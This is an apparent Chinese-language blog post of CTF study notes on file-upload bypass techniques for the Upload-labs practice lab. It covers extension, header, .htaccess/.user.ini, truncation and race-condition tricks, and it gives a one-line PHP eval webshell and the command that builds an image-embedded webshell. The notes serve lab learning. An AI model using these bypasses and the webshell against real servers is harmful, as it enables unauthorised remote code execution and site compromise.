【CTF-web】文件上传(Upload-labs)知识点

Author Avatar
白菀枯
发表:2024-07-19 23:42:18
修改:2024-07-20 23:00:53
  1. html的请求头中Content-Type决定了客户端返回的内容类型;同时php可能就此进行判断和限制,可抓包修改。

  2. .phtml (php2)-> .php3 (php3)-> .php (php4之后)

    还有.php2、.php3、.php4、.php5黑名单绕过方式

  3. .htaccess 是网站根目录下apache的配置文件。

SetHandler application/x-httpd-php 以php解析文件,再传入图片马即可webshell(直接改php后缀名没用的原因正是图片文件不会解析)

方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
 
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php

9. GIF89a gif的文件头,可在一句话木马前加上,后缀改成.jpg或.png等绕过文件头检测

  1. .user.ini同样是配置文件,不仅apache,同样适用于nginx。

auto_prepend_file = <filename>         //使所有文件都把<filename>包含在文件头
auto_append_file = <filename>          //则是把所有文件后<filename>都包含在文件尾

filename就是图片马,再随便用蚁剑连接一个.php的文件就get webshell了

  1. 大小写绕过,没有strtolower()

  2. 空格绕过,没有trim(),上传1.php (有个空格) (Windows下,文件名中空格会被作为空处理)

  3. 点号绕过,有deldot() :删除追加的所有的 .(点) 或 strrchr($file_name, '.'):会把最后的.及.后面的部分删除

可上传1.php. (windows环境下的.也会自动忽略)

deldot()strrchr($file_name, '.') ,可上传1.php. .(1点+php+点+空格+点)

  1. .php::$DATA :(windows)上传1.php,抓包改名为1.php::%DATA ,绕过黑名单,访问/连接时仍是1.php

  2. str_ireplace($黑名单,"(用于替换后的字符,这里是空)", $file_name); 双写绕过,如1.pphphp

  3. %00截断 ,当上传保存的目录可控时:

    1. (GET)可以抓包改为upload/1.php%00,这样即使上传的1.jpg仍然被保存成1.php

    2. (POST)%00不会自动解码,可以先改为1.php+ ,再在Hex里将2b(+号)改为00

  4. 图片马制作bash:copy pic.jpg /b + 1.php /a 2.png

    表示将文件pic.jpg(需要有实际的内容,或者在开头加上GIF89a 等)与文件1.php合成为文件2.png

  5. 二次渲染:一个图片上传后服务器可能对它有修改,对比没变的部分,将木马插在这里重新上传即可。通常是gif,简单。

  6. 条件竞争:文件是先上传上去,然后发现不对才删除的。就趁着这个间隙,把一句话木马写进去。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?>

  7. move_uploaded_file(文件名,路径) 将上传的文件移动,该函数会忽略掉最后的/. ,进而1.php/.就能绕过黑名单

参考:

  1. upload-labs靶场(1-21关)详解全套通关_upload-labs 1-21-CSDN博客

  2. Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_upload靶场-CSDN博客

  3. [PHP]文件上传利用的常见函数_php deldot-CSDN博客

评论